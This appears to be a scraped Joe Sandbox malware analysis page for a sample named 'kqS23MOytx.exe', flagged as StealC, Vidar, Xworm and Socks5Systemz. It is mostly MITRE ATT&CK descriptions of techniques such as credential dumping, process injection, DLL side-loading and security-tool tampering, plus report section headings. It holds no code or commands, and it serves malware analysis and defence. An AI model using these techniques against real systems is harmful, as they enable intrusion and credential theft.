Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	Process: OS API Execution, Process: Process Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report kqS23MOytx.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Socks5Systemz

Threatname: Xworm

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

Change of critical system settings

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Exploits

Bitcoin Miner

Compliance

Change of critical system settings

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\BKFBAECB

C:\ProgramData\CBAEHCAEGDHJKFHJKFIJKJEGHI

Windows Analysis Report
kqS23MOytx.exe

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre